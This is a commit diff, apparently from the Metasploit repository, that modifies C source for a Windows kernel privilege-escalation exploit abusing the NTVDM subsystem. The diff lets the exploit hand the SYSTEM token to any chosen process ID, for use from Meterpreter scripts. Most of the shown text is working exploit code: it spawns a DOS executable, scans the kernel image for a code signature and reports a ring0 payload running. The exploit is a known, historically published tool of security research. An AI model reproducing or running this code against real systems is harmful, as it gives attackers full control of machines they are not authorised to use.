Minor changes to make scripting easier and allow it to escalate a specific pid

git-svn-id: file:///home/svn/framework3/trunk@8168 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-19 22:30:15 +00:00
parent 752f8db83b
commit c419511386
1 changed files with 76 additions and 21 deletions

View File

@ -37,6 +37,19 @@
// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//
//
// This code was slightly tweaked for use in a Meterpreter script, the changes
// allow an unrelated PID to receive the SYSTEM token. Some minor cleanups were
// made as well, mostly around resolving the system32 directory.
//
// Long-term, this will be reimplemented as an additional vector in the priv
// extension.
//
// - hdm[at]metasploit.com 2010/01/19
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
@ -47,6 +60,7 @@
#include <winternl.h>
#include <stddef.h>
#include <stdarg.h>
#include <tchar.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
@ -100,12 +114,18 @@ int main(int argc, char **argv)
{
HANDLE VdmHandle;
HANDLE RemoteThread;
DWORD ShellPid;
DWORD ShellPid = 0;
DWORD KillPid = 0;
DWORD ThreadCode;
DWORD KernelBase;
TCHAR VDMPath[_MAX_PATH];
TCHAR CMDPath[_MAX_PATH];
CHAR Buf[32];
DWORD Offset;
if(argc > 1)
ShellPid = atoi(argv[1]);
LogMessage(L_INFO,
"\r"
"--------------------------------------------------\n"
@ -114,13 +134,36 @@ int main(int argc, char **argv)
"\n"
);
GetSystemDirectory(VDMPath, 1024);
_tcscat_s(VDMPath, _MAX_PATH, _T("\\debug.exe"));
GetSystemDirectory(CMDPath, 1024);
_tcscat_s(CMDPath, _MAX_PATH, _T("\\cmd.exe"));
if(! ShellPid) {
// Spawn the process to be elevated to SYSTEM.
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
} else {
// Spawn the process as a placeholder, no idea why this is needed yet (BSOD w/o).
LogMessage(L_INFO, "Spawning a shell to make the process happy (ignore this)");
if (PrepareProcessForSystemToken(CMDPath, &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
KillPid = ShellPid;
ShellPid = atoi(argv[1]);
}
// Dance around a consistent BSOD if we don't wait
LogMessage(L_INFO, "Waiting two seconds while the child process initializes...");
Sleep(2000);
// Scan kernel image for the required code sequence, and find the base address.
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
@ -136,7 +179,7 @@ int main(int argc, char **argv)
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {
if (SpawnNTVDMAndGetUsefulAccess(VDMPath, &VdmHandle) == FALSE) {
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
goto finished;
}
@ -192,6 +235,7 @@ int main(int argc, char **argv)
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
if(! KillPid)
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
break;
default:
@ -204,17 +248,27 @@ int main(int argc, char **argv)
CloseHandle(VdmHandle);
CloseHandle(RemoteThread);
if(KillPid) {
LogMessage(L_INFO, "Killing the temporary process handle with pid %d", KillPid);
VdmHandle = OpenProcess( PROCESS_TERMINATE, FALSE, KillPid );
if(VdmHandle && VdmHandle != INVALID_HANDLE_VALUE) {
TerminateProcess(VdmHandle, 0);
}
}
finished:
LogMessage(L_INFO, "Press any key to exit...");
getch();
return 0;
}
// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
@ -424,3 +478,4 @@ BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
return TRUE;
}